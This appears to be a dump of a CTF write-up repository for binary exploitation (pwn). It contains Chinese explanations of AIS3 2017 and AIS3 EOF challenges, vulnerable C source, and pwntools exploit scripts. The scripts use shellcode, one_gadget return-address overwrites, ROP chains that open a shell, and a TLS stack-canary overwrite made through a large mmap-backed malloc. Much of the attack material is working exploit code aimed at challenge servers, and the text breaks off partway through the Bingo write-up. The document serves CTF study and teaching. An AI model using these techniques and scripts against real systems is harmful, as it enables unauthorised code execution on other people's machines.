├── AIS3-2017-final ├── README.md ├── pwn1 │ ├── exploit.py │ └── pwn1 └── pwn3 │ ├── exploit.py │ ├── libc.so.6 │ ├── xorstr │ └── xorstr.c ├── AIS3-2017-pre-exam ├── README.md ├── exploit1.py ├── exploit2.py ├── exploit3.py └── exploit4.py ├── AIS3-EOF-final └── overflow │ ├── README.md │ ├── exploit.py │ ├── overflow │ └── overflow-libc-2.23.so ├── AIS3-EOF-qual ├── Bingo │ ├── Bingo │ ├── README.md │ └── exploit.py ├── README.md ├── dragon-slayer │ ├── README.md │ ├── dragon_slayer │ ├── dragon_slayer.c │ ├── exploit.py │ └── libc.so.6-14c22be9aa11316f89909e4237314e009da38883 ├── magicheap2 │ ├── README.md │ ├── exploit.py │ ├── libc.so.6-14c22be9aa11316f89909e4237314e009da38883 │ └── magicheap └── writeme │ ├── README.md │ ├── exploit.py │ ├── libc.so │ └── writeme ├── AIS3_2016_finalCTF ├── README.md ├── Remote1 │ ├── README.md │ └── exploit.py └── Remote2 │ ├── README.md │ └── exploit.py ├── ASIS-2017-final └── Greg-Lestrade │ ├── README.md │ ├── exploit.py │ └── greg_lestrade ├── AceBear-Security-Contest └── arm-exploit │ ├── README.md │ ├── arm-exploit │ ├── exploit.py │ └── libc-2.19.so ├── BCTF-2016 └── Ruin │ ├── README.md │ ├── exploit.py │ └── ruin ├── Boston-Key-Party-2017 └── hiddensc │ ├── README.md │ ├── exploit.py │ ├── hiddensc │ └── poop.sc ├── CSAW-2016-qual ├── README.md └── tutorial │ ├── README.md │ └── exploit.py ├── CSAW-2017-qual ├── Auir │ ├── README.md │ ├── auir │ ├── exploit.py │ └── libc-2.23.so ├── Pilot │ ├── README.md │ ├── exploit.py │ └── pilot ├── README.md ├── SCV │ ├── README.md │ ├── exploit.py │ ├── libc-2.23.so │ └── scv └── Zone │ ├── README.md │ ├── exploit.py │ ├── libc-2.23.so │ └── zone ├── Codegate-CTF-2017-prequalification └── BabyPwn │ ├── README.md │ ├── babypwn │ ├── exploit.py │ └── libc-2.19_16.so ├── HITB-GSEC-CTF-2017 └── SENTOSA │ ├── README.md │ ├── exploit.py │ ├── libc.so.6 │ └── sentosa ├── HITCON-2017-qual └── Impeccable-Artifact │ ├── README.md │ ├── artifact │ ├── exploit.py │ ├── libc.so.6 │ └── seccomp.png ├── HITCONCTF_2016_qual ├── README.md └── SecretHolder │ ├── README.md │ ├── exploit.py │ ├── mmap_test.md │ └── test.c ├── MMACTF_2nd_2016 ├── README.md └── greeting │ ├── README.md │ └── exploit.py ├── MeePwn-CTF-2017 └── bs │ ├── README.md │ ├── bit │ ├── exploit.py │ └── libc6_2.24-3ubuntu2.2_i386.so ├── README.md ├── SECCON-2016-online-CTF ├── README.md ├── checker │ ├── README.md │ ├── checker │ └── exploit.py └── cheer_msg │ ├── README.md │ ├── cheer_msg │ ├── exploit.py │ └── libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 ├── SECCON-2017-online-CTF └── Election │ ├── README.md │ ├── election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip │ └── exploit.py └── hackluCTF_2016 ├── README.md └── simplepdf ├── README.md ├── extractor.sh └── simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf /AIS3-2017-final/README.md: -------------------------------------------------------------------------------- 1 | # AIS3 2017 final writeup 2 | 3 | ## pwn1 4 | 5 | 這題和 pre-exam 的 [pwn3](https://github.com/briansp8210/CTF_writeup/tree/master/AIS3-2017-pre-exam#pwn3) 大同小異,所以我直接拿 exploit 來改。 6 | `ais3{hav3_Y0U_successfu11Y_sO1v3d_Y3T_another_0rw}` 7 | 8 | ## pwn3 9 | 10 | 這個程式會讓使用者輸入兩條字串,並將他們做 xor 運算後印出結果,之後一直重複這樣的流程。 11 | 問題出在 `xorstr` 中的 buf 沒有初始化,有殘留 libc 的 address,可以想辦法 leak 出來。 12 | 這裡我是鎖定位於 `result+8` 的殘留值,所以我輸入長度為 8 的 key,這樣在輸出 result 的時候就能夠拿到 libc address 了。 13 | 14 | ```c 15 | void xorstr(char *str){ 16 | char result[128]; 17 | char key[128]; 18 | printf("What do you want to xor :"); 19 | read_input(key,128); 20 | xorlen = strlen(key); 21 | for(count = 0 ; count < xorlen; count++){ 22 | result[count] = str[count] ^ key[count]; 23 | } 24 | printf("Result:%s",result); 25 | } 26 | ``` 27 | 28 | `process` 和 `xorstr` stack frame 如下所示,剛剛我 leak 出來的 libc address 就是位於 `0x7ffce9c42668` 的 `0x7fca2d301290`。 29 | 可以發現 `result` 雖然比 `key` 先宣告,但他的位址是比較高的,這也讓接下來的攻擊得以成立。 30 | 31 |
32 |                 ---------------------------------------------- <- key
33 | 0x7ffce9c425e0: | 0x4242424242424242      0x0000000000000000 |
34 | 0x7ffce9c425f0: | 0x0000000000000000      0x0000000000000000 |
35 | 0x7ffce9c42600: | 0x0000000000000000      0x0000000000000000 |
36 | 0x7ffce9c42610: | 0x0000000000000000      0x0000000000000000 |
37 | 0x7ffce9c42620: | 0x00007ffce9c426f0      0x00007ffce9c42630 |
38 | 0x7ffce9c42630: | 0x0000000000000000      0x0000000000000000 |
39 | 0x7ffce9c42640: | 0x000000000000ff00      0x0000000000000000 |
40 | 0x7ffce9c42650: | 0x00007ffce9c426c0      0x0000000000000000 |
41 |                 ---------------------------------------------- <- result
42 | 0x7ffce9c42660: | 0x0303030303030303      0x00007fca2d301290 |
43 | 0x7ffce9c42670: | 0x0000000000000080      0x00007ffce9c426f0 |
44 | 0x7ffce9c42680: | 0x0000000000000000      0x00007fca2d7f5700 |
45 | 0x7ffce9c42690: | 0x000000000000000c      0x0000000000000000 |
46 | 0x7ffce9c426a0: | 0x0000000000000000      0x00007fca2d7fb168 |
47 | 0x7ffce9c426b0: | 0x0000000000000005      0x00000000004007ea |
48 | 0x7ffce9c426c0: | 0x0000008000000000      0x00007ffce9c426f0 |
49 | 0x7ffce9c426d0: | 0x0000000000000000      0x000000092d7fb168 |
50 |                 ----------------------------------------------
51 | 0x7ffce9c426e0:   0x00007ffce9c42770      0x0000000000400999
52 |                 ---------------------------------------------- <- str
53 | 0x7ffce9c426f0: | 0x4141414141414141      0x00007fca2d5eb900 |
54 | 0x7ffce9c42700: | 0x0000000000000000      0x0000000000000000 |
55 | 0x7ffce9c42710: | 0x0000000000000000      0x0000000000000000 |
56 | 0x7ffce9c42720: | 0x000000000000003c      0x00007ffce9c426c0 |
57 | 0x7ffce9c42730: | 0x0000000000000000      0x0000000000000000 |
58 | 0x7ffce9c42740: | 0x0000000000000000      0x00007fca00000000 |
59 | 0x7ffce9c42750: | 0x0000000000000000      0x00007fca2d7fb168 |
60 | 0x7ffce9c42760: | 0x0000000000000004      0x00000000004008a0 |
61 |                 ----------------------------------------------
62 | 0x7ffce9c42770:   0x00007ffce9c42780      0x00000000004009b4
63 | 0x7ffce9c42780:   0x00000000004009c0      0x00007fca2d22a830
64 | 
65 | 66 | 觀察 stack frame 可以注意到,由於 xor 的次數是從 `strlen(key)` 得來的,所以如果我輸入 128bytes 的 key,他會和上一次 `result` 的結果串起來,變成長度超過 128 的 key,這麼一來 `result` 也會被填超過 128bytes,因此覆蓋到上圖我用**粗體**標示的 return address。 67 | 因為 xor 運算造成要覆蓋的值不是這麼好控制,所以我打算直接塞 one gadget 給他。 68 | 以上圖的 stack frame 來看,我們要蓋得值是由 `0x4009b4` xor `*0x7ffce9c42668` 產生的。而 `*0x7ffce9c42668` 又是由 `*0x7ffce9c426f8` xor `*0x7ffce9c425e8` 產生的,所以經由如下賦值後: 69 | 70 | * `*0x7ffce9c426f8 = one_gadget ^ 0x4009b4 ^ 0xffffffffffffffff` 71 | * `*0x7ffce9c425e8 = 0xffffffffffffffff` 72 | 73 | return address 就會被蓋成: 74 | `0x4009b4 ^ [(one_gadget ^ 0x4009b4 ^ 0xffffffffffffffff) ^ 0xffffffffffffffff]` 75 | 也就是 one gadget 的位址,如此就能順利開 shell 了! 76 | 77 | `ais3{xxXxXxxXx00oOo0OOorRrrRRrrr}` 78 | -------------------------------------------------------------------------------- /AIS3-2017-final/pwn1/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | context.arch = 'amd64' 5 | 6 | r = remote('127.0.0.1', 4000) 7 | #r = remote('10.13.2.43', 10739) 8 | 9 | shellcode = asm(""" 10 | xor rax, rax 11 | xor rdi, rdi 12 | mov rsi, rsp 13 | mov rdx, 16 14 | syscall 15 | 16 | mov rax, 2 17 | mov rdi, rsp 18 | xor rsi, rsi 19 | xor rdx, rdx 20 | syscall 21 | 22 | mov rdi, rax 23 | xor rax, rax 24 | mov rsi, rsp 25 | mov rdx, 42 26 | syscall 27 | xor rax, rax 28 | syscall 29 | 30 | xor rax, rax 31 | inc rax 32 | xor rdi, rdi 33 | inc rdi 34 | syscall 35 | """) 36 | 37 | raw_input('#') 38 | 39 | r.sendafter('Give me your shellcode (max = 87 bytes):', shellcode) 40 | 41 | print len(shellcode) 42 | 43 | sleep(0.5) 44 | 45 | r.send('/home/pwn1/flag\x00') 46 | 47 | r.interactive() 48 | -------------------------------------------------------------------------------- /AIS3-2017-final/pwn1/pwn1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-2017-final/pwn1/pwn1 -------------------------------------------------------------------------------- /AIS3-2017-final/pwn3/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('127.0.0.1', 4000) 5 | #r = remote('10.13.2.43', 30739) 6 | libc = ELF('libc.so.6') 7 | 8 | def process(s, key): 9 | r.sendafter('Your string:', s) 10 | r.sendafter('What do you want to xor :', key) 11 | 12 | raw_input('#') 13 | 14 | # leak libc address 15 | # the address isn't always there, or not exactly the one we want, so sometimes error may occur 16 | process('AAAAAAAA\x00', 'BBBBBBBB\x00') 17 | r.recvuntil('Result:') 18 | r.recvn(8) 19 | libc_base = u64(r.recvn(6)+'\x00'*2) - 0xf7290 20 | log.success('libc base: ' + hex(libc_base)) 21 | system = libc_base + libc.symbols['system'] 22 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 23 | one_gadget = libc_base + 0xf0274 # contraint: [rsp+0x50] == NULL 24 | 25 | process('C'*32, 'D'*32) 26 | 27 | log.success('one gadget: ' + hex(one_gadget)) 28 | log.success('target: ' + hex(one_gadget^0x400999^0xffffffffffffffff)) 29 | # the p64(0) is for one gagdet constraint 30 | process('E'*8+p64(one_gadget^0x4009b4^0xffffffffffffffff)+'E'*64+p64(0)+'E'*40, 'F'*8+p64(0xffffffffffffffff)+'F'*112) 31 | 32 | r.interactive() 33 | -------------------------------------------------------------------------------- /AIS3-2017-final/pwn3/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-2017-final/pwn3/libc.so.6 -------------------------------------------------------------------------------- /AIS3-2017-final/pwn3/xorstr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-2017-final/pwn3/xorstr -------------------------------------------------------------------------------- /AIS3-2017-final/pwn3/xorstr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void read_input(char *buf,unsigned int size){ 9 | int ret ; 10 | ret = read(0,buf,size); 11 | if(ret <= 0){ 12 | puts("read error"); 13 | exit(1); 14 | } 15 | } 16 | 17 | void handler(int signum){ 18 | puts("Timeout"); 19 | _exit(1); 20 | } 21 | void init(){ 22 | setvbuf(stdout,0,_IONBF,0); 23 | setvbuf(stdin,0,_IONBF,0); 24 | setvbuf(stderr,0,_IONBF,0); 25 | signal(SIGALRM,handler); 26 | alarm(60); 27 | } 28 | 29 | int xorlen = 0 ; 30 | int count = 0 ; 31 | void xorstr(char *str){ 32 | char result[128]; 33 | char key[128]; 34 | printf("What do you want to xor :"); 35 | read_input(key,128); 36 | xorlen = strlen(key); 37 | for(count = 0 ; count < xorlen; count++){ 38 | result[count] = str[count] ^ key[count]; 39 | } 40 | printf("Result:%s",result); 41 | } 42 | 43 | void process(){ 44 | char str[128]; 45 | printf("Your string:"); 46 | read_input(str,128); 47 | xorstr(str); 48 | return; 49 | } 50 | 51 | int main(){ 52 | init(); 53 | while(1){ 54 | process(); 55 | } 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /AIS3-2017-pre-exam/README.md: -------------------------------------------------------------------------------- 1 | # AIS3 2017 pre-exam writeup (pwn) 2 | 3 | ## pwn1 4 | 5 | 送一個位址給程式,接著會跳轉到該位址執行。`youcantseeme` 是個好選擇,不過他 address 的第一個 byte 是 0x0a,會中止 `scanf`,所以乾脆直接跳去 `0x8048613` 跑 `system("sh")`。 6 | 7 | ``` 8 | 0804860a : 9 | 804860a: 55 push ebp 10 | 804860b: 89 e5 mov ebp,esp 11 | 804860d: 83 ec 08 sub esp,0x8 12 | 8048610: 83 ec 0c sub esp,0xc 13 | 8048613: 68 5c 87 04 08 push 0x804875c 14 | 8048618: e8 03 fe ff ff call 8048420 15 | 804861d: 83 c4 10 add esp,0x10 16 | 8048620: 90 nop 17 | 8048621: c9 leave 18 | 8048622: c3 ret 19 | ``` 20 | 21 | `ais3{4nn0y1n9_Wh1t3_SpAcE_CHAR4CTERS}` 22 | 23 | ## pwn2 24 | 25 | 剛看到題目嚇了一跳,因為之前沒接觸過 windows 的題型。 26 | 首先在輸入 `ais3_user.name` 的時候可以直接 overflow 到 `ais3_user.pass`,接著在輸入密碼的時候照著填就可以成功 login 了。 27 | 接著選擇進入 `readflag()`,可以發現他會把 flag xor `ais3_user.pass` 之後印出來。所以只要讓密碼等於 0 就可以了。 28 | 29 | ```c 30 | void readflag() { 31 | char buf[100]; 32 | FILE *fp; 33 | fp = fopen("./flag.txt", "rb"); 34 | if (fp) { 35 | fread(buf, 40, 1, fp); 36 | fclose(fp); 37 | for (int i = 0; i < 40; i++) { 38 | buf[i] = buf[i] ^ ais3_user.pass; 39 | } 40 | printf("Magic : %s\n", buf); 41 | Sleep(2); 42 | exit(0); 43 | } 44 | }; 45 | ``` 46 | 47 | `ais3{Just_a_simpl3_overflow}` 48 | 49 | ## pwn3 50 | 51 | 寫 shellcode 來讀 flag,限用 `open`/`read`/`write`/`exit` 這幾種 system call,並且 shellcode 中不能出現 `"flag"`,另外單次 `read` 最多只能讀 42bytes。 52 | 首先要解決 `"flag"` 的問題,我先寫一個 `read` 把 `"/home/pwn3/flag"` 讀到 stack 上,接著就可以做 `open -> read -> write` 印出 flag。 53 | 這個時候發現 flag 怎麼印不完整,困惑之際 **@nae** 說要不要繼續讀,果真就出現了!總共讀了 3 次才讀完。 54 | 55 | `ais3{r34d_0p3n_r34d_Writ3_c4ptur3_th3_fl4g_sh3llc0ding_1s_s0_fUn_y0ur_4r3_4_g0od_h4ck3r_h4h4}` 56 | 57 | ## pwn4 58 | 59 | 這題也是 windows 的題目,解起來很不習慣,卻也學到不少東西XD 60 | 首先可以注意到以下兩個 function 有 fmt 和 bof 可以利用。 61 | 62 | ```c 63 | void echo() { 64 | char buf[16]; 65 | if (!count) { 66 | printf("What do you want to say : "); 67 | read(0, buf, 15); 68 | printf("You say : "); 69 | printf(buf); 70 | count++; 71 | }else { 72 | puts("Hello world !"); 73 | } 74 | } 75 | 76 | int bof() { 77 | int size; 78 | char buf[20]; 79 | puts("Do you know stack overflow ?"); 80 | printf("Try your best : "); 81 | size = read(0,buf,100); 82 | puts("Boom !!!"); 83 | return size; 84 | } 85 | ``` 86 | 87 | 我先利用 fmt,發現第一個印出來的東西是在 `.text` 的 address,可以用他算出 `.text` 的開頭。 88 | 接著就可以利用 bof 來疊 ROP 了,目標是造出 `system("cmd.exe")`。 89 | 觀察一下組語再查一下[文件](https://msdn.microsoft.com/en-us/library/ms235286.aspx)後確認 function call 的第一個參數是用 `rcx` 來傳遞的。然後程式本身自帶 `"cmd.exe"`,可以直接拿來用 *( 我一開始是自己擺在 stack 上,結果耗了很久,只能在 local 開 shell,遠端不知道為什麼會失敗 orz )*,至於 `system` 可以直接在 `.text` 中找到。 90 | 最後利用 [Ropper](https://github.com/sashs/Ropper) 找出要用的 gadgets *( ROPgadget 解出來的 offset 不知道為什麼怪怪的 )*。 91 | 92 | ``` 93 | 0x140001d45: pop rsi; ret; # 把 system 的位址給 rsi 94 | 0x140001519: pop rdi; ret; # 接著把參數給 rdi 95 | 0x140002648: mov rcx, rdi; call rsi; # 把參數傳給 rcx 後呼叫 system 96 | ``` 97 | 98 | 然後就可以順利開 shell 了! 99 | 100 | ``` 101 | Microsoft Windows [Version 10.0.10240] 102 | (c) 2015 Microsoft Corporation. All rights reserved. 103 | 104 | C:\Users\visitor\Desktop\pwn3>type flag.txt 105 | type flag.txt 106 | ais3{St4ck_0v3rfl0w_1s_v3ry_d4ng3rous} 107 | ``` 108 | -------------------------------------------------------------------------------- /AIS3-2017-pre-exam/exploit1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('quiz.ais3.org', 9561) 6 | 7 | magic = 0x8048613 8 | 9 | raw_input('#') 10 | 11 | r.sendlineafter('Please input the magic string: ', p32(magic)) 12 | 13 | r.interactive() 14 | -------------------------------------------------------------------------------- /AIS3-2017-pre-exam/exploit2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('quiz.ais3.org', 56746) 5 | 6 | r.sendlineafter('Username : ', '\x00'*32) 7 | r.sendlineafter('Password : ', '0') 8 | r.sendlineafter('Your choice :', '1') 9 | 10 | r.interactive() 11 | -------------------------------------------------------------------------------- /AIS3-2017-pre-exam/exploit3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | context.arch = 'amd64' 5 | 6 | #r = remote('127.0.0.1', 4000) 7 | r = remote('quiz.ais3.org', 9563) 8 | 9 | shellcode = asm(""" 10 | xor rax, rax 11 | xor rdi, rdi 12 | mov rsi, rsp 13 | mov rdx, 16 14 | syscall 15 | 16 | mov rax, 2 17 | mov rdi, rsp 18 | xor rsi, rsi 19 | xor rdx, rdx 20 | syscall 21 | 22 | mov rdi, rax 23 | xor rax, rax 24 | mov rsi, rsp 25 | mov rdx, 42 26 | syscall 27 | xor rax, rax 28 | syscall 29 | xor rax, rax 30 | syscall 31 | 32 | xor rax, rax 33 | inc rax 34 | xor rdi, rdi 35 | inc rdi 36 | syscall 37 | """) 38 | 39 | raw_input('#') 40 | 41 | r.sendafter('Give me your shellcode (max = 87 bytes):', shellcode) 42 | 43 | print len(shellcode) 44 | 45 | sleep(0.1) 46 | 47 | r.send('/home/pwn3/flag\x00') 48 | 49 | r.interactive() 50 | -------------------------------------------------------------------------------- /AIS3-2017-pre-exam/exploit4.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | r = remote('quiz.ais3.org', 4869) 5 | #r = remote('10.0.2.2', 4869) 6 | 7 | def echo(say, is_first): 8 | r.sendafter('Your choice: ', '1') 9 | if is_first: 10 | r.sendafter('What do you want to say : ', say) 11 | 12 | def bof(payload): 13 | r.sendafter('Your choice: ', '2') 14 | r.sendafter('Try your best : ', payload) 15 | 16 | echo('%p %p', True) 17 | r.recvuntil('You say : ') 18 | text_base = int(r.recvn(16), 16) - 0x1ceb3 - 0x1400011e5 19 | #buffer_addr = int(r.recvn(17)[1:], 16) + 0x1ca0 20 | print 'text base:', hex(text_base) 21 | #print 'buffer address:', hex(buffer_addr) 22 | 23 | pop_rsi_ret = text_base + 0x140001d45 24 | pop_rdi_ret = text_base + 0x140001519 25 | mov_rcx_rdi_call_rsi = text_base + 0x140002648 26 | system = text_base + 0x140004628 27 | cmd = text_base + 0x140014e50 28 | 29 | payload = 'A'*32 + p64(pop_rsi_ret) + p64(system) + p64(pop_rdi_ret) + p64(cmd) + p64(mov_rcx_rdi_call_rsi) 30 | bof(payload) 31 | 32 | r.interactive() 33 | -------------------------------------------------------------------------------- /AIS3-EOF-final/overflow/README.md: -------------------------------------------------------------------------------- 1 | # overflow 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Full RELRO 6 | Stack: Canary found 7 | NX: NX enabled 8 | PIE: No PIE (0x400000) 9 | FORTIFY: Enabled 10 | ``` 11 | 12 | ## Analysis 13 | 14 | 這支程式提供了三種不同的 overflow,其中針對 `stack` 以及 `heap` 的部分分別會用 `alloca` 以及 `malloc` 來分配空間,至於 `bss` 就直接輸入到一個 global buffer。 15 | 16 | ``` 17 | ************************ 18 | Overflow 19 | ************************ 20 | 1. Stack Overflow 21 | 2. Heap Overflow 22 | 3. BSS Overflow 23 | 4. Exit 24 | ************************ 25 | ``` 26 | 27 | 由於這三種 overflow 都是由 `gets` 造成的,所以可以攻擊的點很多。不過因為程式本身沒有什麼輸出可以 leak 重要的位址資訊,也沒辦法直接利用。 28 | 後來想到如果可以繞過 stack canary,就可以疊 ROP 來做事,所以問題就剩如何在沒有 information leak 的狀況下做到這件事。 29 | 這裡我用了一個之前沒試過的技巧 。首先可以注意到,canary 是從 `fs:0x28` 拿出來存放及做檢查的: 30 | 31 | ``` 32 | 0x400b93 mov rax,QWORD PTR fs:0x28 33 | 0x400b9c mov QWORD PTR [rbp-0x8],rax 34 | ... 35 | 0x400d0f mov rax,QWORD PTR [rbp-0x8] 36 | 0x400d13 xor rax,QWORD PTR fs:0x28 37 | ``` 38 | 39 | 在 `x86_64` 底下,`fs` 會指向在 `tls` 段中的 [`tcbhead_t`](https://code.woboq.org/userspace/glibc/sysdeps/x86_64/nptl/tls.h.html#42) 結構 (如下所示),其中的 `stack_guard` 就是 canary。所以只要有辦法寫到這個位址,就可以成功繞過 canary 檢查。 40 | 41 | ```c 42 | typedef struct 43 | { 44 | void *tcb; /* Pointer to the TCB. Not necessarily the 45 | thread descriptor used by libpthread. */ 46 | dtv_t *dtv; 47 | void *self; /* Pointer to the thread descriptor. */ 48 | int multiple_threads; 49 | int gscope_flag; 50 | uintptr_t sysinfo; 51 | uintptr_t stack_guard; 52 | uintptr_t pointer_guard; 53 | unsigned long int vgetcpu_cache[2]; 54 | # ifndef __ASSUME_PRIVATE_FUTEX 55 | int private_futex; 56 | # else 57 | int __glibc_reserved1; 58 | # endif 59 | int __glibc_unused1; 60 | /* Reservation of some values for the TM ABI. */ 61 | void *__private_tm[4]; 62 | /* GCC split stack support. */ 63 | void *__private_ss; 64 | long int __glibc_reserved2; 65 | /* Must be kept even if it is no longer used by glibc since programs, 66 | like AddressSanitizer, depend on the size of tcbhead_t. */ 67 | __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32))); 68 | 69 | void *__padding[8]; 70 | } tcbhead_t; 71 | ``` 72 | 73 | 接下來的問題就是如何覆寫到這個區段。這裡可以利用 glibc `malloc` 實作的一個[性質](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2291),當要求的空間大於某個門檻後,系統會改用 `mmap` 來配置空間,不是從 `heap` 拿,而這塊空間會接在 `tls` 的前面。因此只要有一定大小的 overflow 可以利用,就有機會蓋到上述結構中的內容。 74 | 75 | ```c 76 | /* 77 | If have mmap, and the request size meets the mmap threshold, and 78 | the system supports mmap, and there are few enough currently 79 | allocated mmapped regions, try to directly map this request 80 | rather than expanding top. 81 | */ 82 | 83 | if (av == NULL 84 | || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) 85 | && (mp_.n_mmaps < mp_.n_mmaps_max))) 86 | { 87 | char *mm; /* return value from mmap call*/ 88 | 89 | try_mmap: 90 | /* 91 | Round up size to nearest page. For mmapped chunks, the overhead 92 | is one SIZE_SZ unit larger than for normal chunks, because there 93 | is no following chunk whose prev_size field could be used. 94 | 95 | See the front_misalign handling below, for glibc there is no 96 | need for further alignments unless we have have high alignment. 97 | */ 98 | if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) 99 | size = ALIGN_UP (nb + SIZE_SZ, pagesize); 100 | else 101 | size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); 102 | tried_mmap = true; 103 | 104 | /* Don't try if size wraps around 0 */ 105 | if ((unsigned long) (size) > (unsigned long) (nb)) 106 | { 107 | mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); 108 | ... 109 | ``` 110 | 111 | ## Exploit 112 | 113 | 首先我利用 `Stack Overflow` 把用於 information leak 以及 stack migration 的 ROP 寫上去。先做這步是因為等一下在蓋 `tls` 的內容時會壓壞一些東西,導致之後某些 function call 會壞掉。 114 | 接著就用 `Heap overflow`,要求一塊很大的空間,並且利用上述的特性將 `tls` 中的 canary 蓋成剛才寫在 stack 上的 canary 的值。 115 | 如此一來,`main` return 前檢查 canary 時就會順利通過,並接著跑 ROP 印出 libc 位址、將第二段 ROP 讀去 `.bss`,最後 stack migration 過去執行 `system("/bin/sh")` 開 shell。 116 | 117 | flag: `FLAG{h3ap_and_st4ck_0v3rfl0w_1s_4asy_4_U}` 118 | -------------------------------------------------------------------------------- /AIS3-EOF-final/overflow/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | 4 | #r = remote('127.0.0.1', 4000) 5 | r = remote('10.141.0.202', 56746) 6 | libc = ELF('overflow-libc-2.23.so') 7 | 8 | context.arch = 'amd64' 9 | 10 | def stack(sz, input): 11 | r.sendafter('Your choice :', '1') 12 | r.sendafter('Size :', str(sz)) 13 | r.sendlineafter('Input :', input) 14 | 15 | def heap(sz, input): 16 | r.sendafter('Your choice :', '2') 17 | r.sendafter('Size :', str(sz)) 18 | r.sendlineafter('Input :', input) 19 | 20 | def bss(input): 21 | r.sendafter('Your choice :', '3') 22 | r.sendlineafter('Input :', input) 23 | 24 | def leave(): 25 | r.sendafter('Your choice :', '4') 26 | 27 | pop_rdi_ret = 0x400d93 28 | puts_plt = 0x400830 29 | puts_got = 0x601f98 30 | gets_plt = 0x400870 31 | bss_buf = 0x602f00 32 | pop_rsp_r13_r14_r15_ret = 0x400d8d 33 | 34 | rop = flat( 35 | pop_rdi_ret, 36 | puts_got, 37 | puts_plt, 38 | pop_rdi_ret, 39 | bss_buf, 40 | gets_plt, 41 | pop_rsp_r13_r14_r15_ret, 42 | bss_buf 43 | ) 44 | 45 | new_canary = 'B'*8 46 | 47 | stack(0x20, 'A'*88+new_canary+'C'*8+rop) 48 | heap(0x21000, 'A'*0x23718+new_canary) 49 | leave() 50 | 51 | libc_base = u64(r.recvline()[:-1].ljust(8, '\x00')) - libc.symbols['puts'] 52 | log.success('libc base: ' + hex(libc_base)) 53 | system = libc_base + libc.symbols['system'] 54 | binsh = libc_base + next(libc.search('/bin/sh\x00')) 55 | 56 | sleep(0.5) 57 | r.sendline('A'*24 + p64(pop_rdi_ret) + p64(binsh) + p64(system)) 58 | 59 | r.interactive() 60 | 61 | # FLAG{h3ap_and_st4ck_0v3rfl0w_1s_4asy_4_U} 62 | -------------------------------------------------------------------------------- /AIS3-EOF-final/overflow/overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-final/overflow/overflow -------------------------------------------------------------------------------- /AIS3-EOF-final/overflow/overflow-libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-final/overflow/overflow-libc-2.23.so -------------------------------------------------------------------------------- /AIS3-EOF-qual/Bingo/Bingo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/briansp8210/CTF-writeup/6e5da2d2b1ef852ead02b5f287d42697d5be0d73/AIS3-EOF-qual/Bingo/Bingo -------------------------------------------------------------------------------- /AIS3-EOF-qual/Bingo/README.md: -------------------------------------------------------------------------------- 1 | # Bingo 2 | 3 | ``` 4 | Arch: amd64-64-little 5 | RELRO: Partial RELRO 6 | Stack: No canary found 7 | NX: NX disabled 8 | PIE: PIE enabled 9 | RWX: Has RWX segments 10 | ``` 11 | 12 | ## Analysis 13 | 14 | 這題顧名思義在玩 bingo。我們要輸入 16 個數字,一旦對其中 8 個就算贏,並且可以再輸入一些東西,這個地方有 overflow 的漏洞。 15 | 因為產生答案用的亂數種子是 0,所以那 16 個數字會是已知且固定的。 16 | 但是這題有開 `PIE`,沒辦法直接造 ROP 出來。不過 `DEP` 是關掉的,所以可以想辦法寫 shellcode 來跑。 17 | 18 | ```c 19 | // 這題的 input function 20 | 21 | for ( i = 0; ; ++i ) 22 | { 23 | result = (unsigned int)i; 24 | if ( i >= (signed int)len ) 25 | break; 26 | read(0, &buf[i], 1uLL); 27 | if ( buf[i] == '\n' ) 28 | buf[i] = 0; 29 | result = (unsigned __int8)buf[i]; 30 | if ( !(_BYTE)result ) 31 | break; 32 | } 33 | return result; 34 | ``` 35 | 36 | 我原本是想利用 null byte overflow 來做事,不過發現資訊真的太少,沒頭緒了好一陣子才終於想到應該先去看哪邊可以 leak 東西XD 37 | 38 | ## Exploit 39 | 40 | 程式是用 `%s` 來印我們輸入的數字,所以如果輸入第 16 個數字時補滿 4byte,就可以 leak 出後面的 stack address (下圖**粗體**部分)。 41 | 42 |
43 |                             --------------------------------------------
44 | 0x7ffe88be2720: num_buf -> | 0x00007f85b0f50620      0x00000010e45e0ef8 |
45 | 0x7ffe88be2730:            | 0x0000363800333831      0x0035313100373731 |
